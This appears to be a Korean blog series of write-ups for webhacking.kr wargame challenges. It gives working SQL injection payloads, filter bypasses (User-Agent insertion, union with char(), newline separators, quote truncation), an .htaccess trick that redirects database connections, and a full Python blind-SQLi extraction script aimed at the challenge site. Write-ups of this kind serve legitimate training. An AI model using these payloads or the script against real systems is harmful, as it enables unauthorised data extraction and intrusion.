사이트에 들어가보면 다음과 같이 나타난다.

소스코드 보는 부분이 있으니 소스코드를 한번 보자.

보면 select 쿼리에서 agent로 검색을 하는데, HTTP_USER_AGENT 값을 이용해서 SQL 쿼리를 짠다.

 

UserAgent 값을 이용해서 SQLi를 하면 될 것 같다.

 

user agent에 대충 위와 같은 값을 넣어주면, 쿼리는 아래와 같이 나타날 것이다.

insert into chall8(agent,ip,id) values('einstrasse','dummyip','admin'),('asdf','{$ip}','guest')

그러면 2개의 값이 추가가 되게 된다.

2개가 동시에 추가가 된 듯 하다.

그리고 아까 추가한 user-agent값인 einstrasse라고 user-agent를 보내보자.

오른쪽을 보면 already solved라고 뜬다.

clear!

문제를 들어가보면 다음과 같은 화면이 나온다.

링크를 누르면 소스코드를 볼 수 있다.

쿼리문에 무언가를 리턴하게 되면, /flag를 보여주는데

 

쿼리문에 뭔가 삽입할 만 한 것이 없다.

 

 

어떻게 푸는지 잘 몰라서 다른 롸업들을 보았는데 대략 취약점은 이러하다.

 

 

1. 파일을 업로드 가능하다.

2. .htaccess 파일을 업로드해서 덮어쓰기가 가능하다.

.htaccess 파일에 접근하려고 하니 Not Found가 아닌 Forbidden이 뜬다. 파일이 존재한다는 뜻!

 

3. mysqli_connect 함수에 인자가 없는데, 이는 default값들이 들어간다. 

host, username, port, passwd 등을 ini_get 함수로 가져온다는 것을 알 수 있다.

 

4. ini_get 함수는 php configuration 에서 값을 가져온다. (php.ini 파일)

 

 

5. php.ini에 있는 설정 값들은 .htaccess에서 지정이 가능하다.

 

 

이정도까지 힌트면 어떻게 풀지는 대충 감이 올 듯하다.

 

 

 

본인은 실제로 mysql 서버 환경 구축을 해서 똑같은 환경을 만들어 보려다가 삽질을 오지개 해버렸다 ㅠㅠ

 

mysql remote access를 하게 해주는 옵션은 다음과 같다.

 

------------------------------------

/etc/mysql/mysql.conf.d/mysqld.cnf

bind-address = 127.0.0.1를 주석처리

------------------------------------

 

 

References

https://www.php.net/manual/en/mysqli.construct.php
https://stackoverflow.com/questions/8812154/overriding-php-ini-on-server
https://stackoverflow.com/questions/25281467/fatal-error-call-to-undefined-function-mysqli-connect
https://www.php.net/manual/en/function.ini-get.php
https://www.php.net/manual/en/function.ini-get-all.php
https://www.php.net/manual/en/ini.list.php

https://stackoverflow.com/questions/14779104/how-to-allow-remote-connection-to-mysql

 

뭐 문제 내용도 없고, view-source만 덜렁 있다. 소스를 한번 봐 보자.

 

테이블 명을 알아내야 한다.

 

여기서 갓 아랑님의 블로그를 한번 참고해보자.

https://ar9ang3.tistory.com/7

 

웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips

지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다. 모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다. 기억나는대로 추가해서 수정하겠습니다. - or, and : ||, && - S..

ar9ang3.tistory.com

procedure analyse();를 한번 사용해보자.

 

허허허... 간단하게 풀려버렸다.

 

https://dev.mysql.com/doc/refman/5.6/en/procedure-analyse.html

 

MySQL :: MySQL 5.6 Reference Manual :: 8.4.2.4 Using PROCEDURE ANALYSE

8.4.2.4 Using PROCEDURE ANALYSE ANALYSE([max_elements[,max_memory]]) ANALYSE() examines the result from a query and returns an analysis of the results that suggests optimal data types for each column that may help reduce table sizes. To obtain this analysi

dev.mysql.com

 

시간나면 MySQL 공식 docs에 있는 해당 부분도 좀 읽어보도록 하자.

문제에 들어가면 간단한 입력 폼과, 소스코드를 볼 수 있는 버튼이 나타나있다.

 

소스를 보면 기존 webhacking.kr에서 약간 달라진 부분이 length(id)<14라는 부분이 추가되었다.

 

sql 쿼리에서 where 구문이 true가 되어서 1이 리턴되면 문제가 풀린다.

 

그런데 쿼리를 잘 보면 where구문에서 id=' 부분에 여는 싱글 쿼터는 있는데, 닫는 싱글 쿼터가 없다.

 

그리고 싱글 쿼터를 입력값으로 주면, 2개의 싱글쿼터로 치환되게 되는데, substr 함수에서 앞의 15개만 잘라내는 부분이있다.

 

따라서 싱글 쿼터를 $_POST['id']의 15번째 자리의 글자에 위치시키면 2개의 싱글 쿼터가 되더라도, substr에 의해 두번째 싱글 쿼터는 잘려서 1개만 들어가게 된다.

 

따라서 입력값은 //(admin         '//)라고 입력하면 풀리게 된다.

admin + 공백9개 + 싱글쿼터

이런 조합인데, 마지막 싱글쿼터가 2개가 되지만, substr로 잘려서 1개의 싱글쿼터만 들어가게 된다.

 

 

그리고 여기서 //('admin' = 'admin         '//)는 true값을 갖는다.

 

http://woowabros.github.io/study/2018/02/26/mysql-char-comparison.html

 

MySQL에서 'a' = 'a '가 true로 평가된다? - 우아한형제들 기술 블로그

DB 알못의 어떤 리서치

woowabros.github.io

왜 그런지는 위 블로그에 잘 설명되어 있다.

 

요약하자면, VARCHAR(15) 이런 데이터 타입이면, 길이가 15미만인 문자열을 저장할때 뒤에 공백으로 패딩을 다 채워서 저장한다고 한다.

 

따라서 문자열간의 =를 확인할 때, 뒤에 공백 패딩을 붙여서 비교를 한다고 한다. ㅎㄷㄷ한 신기한 사실이다.

37번 문제도 31번 문제처럼 서버가 필요하다.

 

소스코드를 보면 7777번 포트로 우리가 올려준 파일에 써잇는 host로 접근해서 flag를 쏴준다.

 

파일에 우리 서버의 host나 public ip를 박아서 업로드를 하고, 파일 명은 서버 time stamp 에 맞게 타이밍 맞게 쏴주면 된다.

 

일단 그러면 우리 서버의 7777번 포트를 포트포워딩을 해서 데이터를 받을 준비를 해주자.

그리고 $ nc -lvp 7777 커맨트로 포트를 열고 기다린다.

 

그리고 타이밍에 맞게 파일을 업로드해야하니깐, 버프슈트로 파일업로드하는 패킷을 잡아 놓는다.

아무리 해도 패킷이 안오길래, 테스트를 해보니, 외부 아이피에서는 접근이 안된다.

 

방화벽 문제인듯 하니 방화벽에 예외 룰을 추가해준다.

방화벽 인바운드 규칙을 추가해주니, 드디어 접속이 된다. 이제 문제를 풀어보자!

타이밍 맞춰서 보내면!

FLAG{well...is_it_funny?_i_dont_think_so...}

 

플래그를 Auth에다가 박아주자!

Clear!

문제 페이지로 들어가면 위와 같은 화면이 나타난다.

 

10000 ~ 10100의 랜덤한 포트로 접속을 시도하는데, 아마 저기 접속을 맺도록 해주어야 할 것 같다.

 

일단 저 서버에서 접속하게 하도록 하기 위해서는 public ip가 필요하다.

 

지금 문제를 푸는 우리집 환경은 무선 공유기 아래에 노트북이 연결되어 있기 때문에, 포트포워딩을 설정 해 주어야 한다.

 

일단 gateway ip로 접속하면 무선공유기 설정 페이지로 갈 수 있다.

 

포트포워딩 설정을 해 준다. 내부포트 9999번 포트로 바인딩하기로 했다.

 

근데 공유기가 좀 구대기라서, 외부 포트 범위와 내부 포트 범위를 같게 해주어야한다 ㅠ

(iptime에서는 됬던거같은데...하)

 

그래서 일단 아래와 같이 설정했다.

이제 iptables 설정으로 10001 ~ 10100 로 들어온 연결들을 죄다 10000번 포트로 모아줄것이다.

https://blog.outsider.ne.kr/580

 

iptables로 80포트 리다이렉트 하기 :: Outsider's Dev Story

리눅스나 OSX같은 UNIX계열의 OS에서 1024포트 아래의 포트는 privileged 포트로 root계정이 아니면 사용할 수 없습니다.(Windows계열에서는 상관없습니다.) Apache같은 웹서버를 앞에 두고 있다면 상관없지만 To...

blog.outsider.ne.kr

 

여기 블로그를 참조해서 커맨드를 설정해보았다.

 

iptables -A PREROUTING -t nat -p tcp --dport 10001 -j REDIRECT --to-port 10000

 

#!/bin/sh

for i in $(seq 10001 1 10100)
do
	iptables -A PREROUTING -t nat -p tcp --dport $i -j REDIRECT --to-port 10000
done

 

iptables로 포트포워딩 셋팅을 끝냈다.

 

어마무시한 엔트리들...

 

그리고 webkr에서 내 서버 ip를 박아주면..!

 

플래그가 나온다.

 

그리고 iptables -tnat -F로 설정한 값들을 다 지워주면 된다.

 

Clear~

바로 소스부터 보겠다.

 

 

sql injection문제의 냄새가 풀풀 풍긴다.

 

쿼리의 결과가 2가 나와야지 문제가 풀리는 듯 하다. 문자열 2는 필터링 되어있다.

 

일단 랜덤값에 따라서 괄호 감싸고 있는 갯수는 계속 바뀌는데, 어차피 20%확률이므로 하나 골라서 여러번 찍으면 한번은 통과할 듯 하다.

 

\\s가 필터링으로 있어서 white space도 필터링 된다. 따라서 공백 우회를 위해서 괄호를 활용하고, 2라는 문자열 우회를 위해서 char(50)라는 함수를 사용할 것이고, union을 사용해서 '2'값을 결과에 밀어넣을 것이다.

-가 필터링 되어있으므로 주석에 -- 대신 #을 사용하면 된다.

 

최종 페이로드는 99)union(select(char(50)))# 이 된다.

 

5번 정도 시도하니 간단히 풀렸다.

문제 페이지로 들어가보면, 해쉬값 같은 것과 입력 필드, 그리고 view-source라는 링크가 보인다.

 

일단 소스를 보자.

 

소스가 간단한데, 세션값에 저장된 값을 맞추면 된다.

 

만약 못맞춘 경우 랜덤값을 8자리 정수에 뒤에 "salt_for_you"라는 문자열을 붙인 뒤 sha1해쉬를 500번 한 뒤 세션값에 저장한다.

 

그리고 그 저장된 값을 보여준다.

 

그 저장된 값을 보고 그 값이 500번 sha1 해쉬가 되기 전 값을 알아내서 password에 입력하면 solve(4) 함수가 실행되면서 문제를 풀 수 있게 된다.

 

 

이 문제는 기존 webhacking.kr 문제에 조금 변형되어 난이도가 높아진 문제 중 하나인데, 랜덤값 8자리 정수이면 대충90,000,000 = 9천만이다.

 

보통 알고리즘 문제같은 것을 풀 때, 즉 Problem solving을 할 때 실행시간 측정을 1억번 루프를 도는데 1초 정도로 생각을 한다. 그에 비하면 9천만이면 0.9초 정도에 해당하는데

 

sha1함수를 500번 하기 때문에 0.9초 * 500 로 대충 계산하면 450초 정도가 된다.

 

물론 sha1함수는 단순 for-loop보다는 더 복잡하기때문에 10배 정도 복잡하다고 한다면 4500초 정도로 볼 수 있는데, 이는 1시간이 3600초임을 감안하면 2시간이 좀 안되는 시간이라고 볼 수 있다.

 

즉 모든 경우의 수를 다 해보는 레인보우 테이블을 만드는데 다소 무식해 보이긴 하지만, 시간적으로 해볼만 하다는 뜻이다.

 

용량적으로 따져보자.

 

90,000,000Byte는 90,000KB이고 90MB이다.

 

그리고 각 스트링 값과 해시값이 대충 200byte라고 쳐도 200*90MB = 18000MB = 1.8GB로 스토리지에 저장하기에도 부족함이 없고, 메모리에 올려도 가능하다.

 

고로 저 해쉬 값들을 모조리 만든 레인보우 테이블로 문제를 풀면 된다.

 

뭐 쓰레드를 사용하거나 해서 더 빠르게도 가능할 것이고, 스토리지에 Write하는 시간이 Bottle Neck이라면, 메모리에다가만 올리는 방식으로도 가능할 것이다.

처음 보면 뭐 페이지에 별 내용이 없다.

 

소스보기를 보면 다음과 같다.

 

주석값에 시간값이 있고, admin.php가 있음을 암시한다.

admin.php에는 별 내용이 없다. 패스워드를 치는게 있을 뿐

 

쿠키값을 보면 처음 보면 뭐 페이지에 별 내용이 없다.

 

소스보기를 보면 다음과 같다.

 

 

쿠키값을 보면 time이라는 값이 있다.

 

혹시나 하는 마음에 time에 1571059569 and 1=1와 같이 보내보니,

2070-01-01 09:00:01이 나타난다.

 

그러면 and 1=2라고 보내보자.

 

 

이제는 09:00:00이라고 나타난다.

 

쿠키 time값을 이용한 Blind sqli로 추정. True값이 09:00:01이고 False값이 09:00:00인 것으로 보인다.

 

대충 쿼리가 SELECT FROM_UNIXTIME({내가 보낸 쿠키 time 값}) 과 같은 방식일 것으로 예상된다.

 

 

일단 DB명도 모르기 때문에, information_schema로 찾아때려야 하는데, 

 

select FROM_UNIXTIME(157102695 and IF((select LENGTH(table_schema) from information_schema.tables group by table_schema limit 7,1) > 0,1,0))

 

대충 요런 식으로 db개수를 알아내보자. 마지막에 limit으로 확인을 할 수 있다.

 

limit 1,1까지는 true가 나오고, limit 2,1부터는 false가 나온다.

 

즉 db개수는 2개이다.

 

그리고 첫번째 db의 이름의 길이는 6이다.

두번째 db길이는 18인걸로 봐서는 information_schema인듯

 

select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1

 

1번째 디비 이름의 3번째 글자 아스키값 리턴을 하는 쿼리이다.

 

이런식으로 글자 하나하나씩 알아내어 db이름을 알아낼 수가 있다.

 

select FROM_UNIXTIME(157102695 and IF((select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1) > 102,1,0))

 

위 쿼리는 1번째 디비 3번째 아스키값은 102보다 크다? 라는 쿼리이다.

 

쿼리로 알아내면 db 이름은 chall2이다.

 

 

이제 테이블 명을 알아내야하는데,

 

select if((select length(table_name) from information_schema.tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0)

 

여기에 if구문 앞에 and만 붙여서 쿼리로 넣으면 된다. 마지막 limit뒤에 0 숫자를 바꿔서 테이블 개수를 알아낼수가 있다.

 

chall2의 테이블의 개수는 2개이다.

 

이제 테이블 이름의 길이와 이름을 알아내야 한다.... 노가다!!

 

select FROM_UNIXTIME(157102695 and if((select length(table_name) from tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0))

 

첫번째 테이블의 이름은 길이가 13이다.

두번째 테이블의 이름은 길이가 3이다.

 

이제 한땀한땀 글자를 알아내야한다.

 

첫 테이블이름은 admin_area_pw

두번째는 log이다.

 

admin_area_pw의 컬럼은 1개뿐이다. 컬럼 길이는 2이다.

컬럼 이름은 pw이다.

 

pw의 row값은 길이가 17이다.

 

마지막으로 pw의 값 또한 위에서 db이름과 테이블 이름을 알아낸것 처럼 한땀 한땀 blind sqli로 알아내면 된다.

 

#!/usr/bin/env python

import urllib2
import urllib

url = "https://webhacking.kr/challenge/web-02/"
cookie = "PHPSESSID=j1gqc4lopk8ge3331ehiq9shhf; time=1571026965 "

ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"

truePhrase = "2070-01-01 09:00:01"

def query(payload):
    ccookie = cookie + urllib2.quote(payload)
    req = urllib2.Request(url)
    req.add_header('cookie', ccookie)
    req.add_header("User-Agent", ua)
    res = urllib2.urlopen(req)

    content = res.read()
    # print ccookie
    # print content
    return truePhrase in content


def find_db_name_len(db_index):
    left = 0
    right = 200
    # range (left, right]
    while left + 1 < right:
        mid = (left+right)//2
        print "{}, {}, {}".format(left, mid, right)
        payload = "and if((select length(table_schema) from information_schema.tables group by table_schema limit {},1) > {}, 1, 0)".format(db_index, mid)
        if query(payload):
            left = mid
        else:
            right = mid
    return right

def find_db_name(db_index):
    if db_index == 1:
        return "chall2"
    # db_name_len = find_db_name_len(db_index)
    db_name_len = 6
    db_name = ""
    for pos in range(1, db_name_len+1):

        left = 0 
        right = 200
        while left + 1 < right:
            mid = (left+right)//2
            print "{}, {}, {}".format(left, mid, right)
            payload = "and if((select ascii(substr(table_schema,{},1)) from information_schema.tables group by table_schema limit {},1)>{},1,0)".format(pos, db_index, mid)
            if query(payload):
                left = mid
            else:
                right = mid
        db_name += chr(right)
    return db_name

# print find_db_name(0)

def find_table_name_length(db_name, table_index):
    left = 0
    right = 200
    while left + 1 < right:
        mid = (left+right)//2
        payload = "and if((select length(table_name) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(db_name, table_index, mid)
        if query(payload):
            left = mid
        else:
            right = mid
    return right

# print find_table_name_length('chall2', 0)
# print find_table_name_length('chall2', 1)

def find_table_name(db_name, table_index):
    table_name_len = find_table_name_length(db_name, table_index)
    table_name = ""
    for pos in range(1, table_name_len + 1):
        left = 0
        right = 200
        while left + 1 < right:
            mid = (left+right)//2
            payload = "and if((select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(pos, db_name, table_index, mid)
            if query(payload):
                left = mid
            else:
                right = mid
        table_name += chr(right)
    return table_name
# print find_table_name('chall2', 0)
# print find_table_name('chall2', 1)

def find_column_name(db_name, table_name):
    col_name = ""
    for pos in range(1, 3):
        left = 0
        right = 200
        while left + 1 < right:
            mid = (left+right)//2
            payload = "and if((select ascii(substr(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' group by column_name limit 0,1)>{},1,0)".format(pos, db_name, table_name, mid)
            if query(payload):
                left = mid
            else:
                right = mid
        col_name += chr(right)
    return col_name

def find_pw():
    pw = ""
    for pos in range(1, 18):
        left = 0
        right =200
        while left + 1 < right:
            mid = (left+right)//2
            payload = "and if((select ascii(substr(pw,{},1)) from chall2.admin_area_pw limit 1, 1)>{},1,0)".format(pos,mid)
            if query(payload):
                left = mid
            else:
                right = mid
        pw += chr(right)
        print chr(right)
    return pw

# print find_column_name("chall2", "admin_area_pw")
print find_pw()

 

최종 플래그는 kudos_to_beistlab이 된다.

 

이를 admin.php에 입력하면 플래그 인증이 된다.

 

old - 18번 문제입니다.

 

 

그냥 sqli문제이고 소스부터 보겠습니다.

 

 

 

no=2 옵션을 걸어버리면 될 것 같은데 앞에 id='guest'에 and조건이 걸려있으므로, 뒤에 or을 하나 더 걸어서 쿼리문을 완성시키면 됩니다.

 

no=2 or no=2

 

요런식으로 하면되는데, 문제는 공백 문자가 필터링 되어있습니다.

 

() 문자도 필터링되어있고 / 문자도 필터링 되어있어서 /**/ 이런것도 안됩니다.

 

\n \r 문자는 필터링이 되어잇지 않기 때문에

 

2

or

no=2

 

요렇게 보내면 될 것 같습니다.

 

input 태그를 textarea로 바꿔서 해당 페이로드를 보내면 풀립니다.

 

input 태그를 textarea로 바꾸기 위해서 input 필드를 마우스 우클릭을 한 뒤, 검사를 누릅니다.

그리고 우측 크롬 개발자도구에서 Edit as HTML을 누릅니다.

그리고 아래와 같이 바꾼 뒤, Ctrl + Enter를 누릅니다.

그리고 바뀐 textarea에 아래와 같이입력하면 문제를 풀 수 있습니다.

 

 

 

+ Recent posts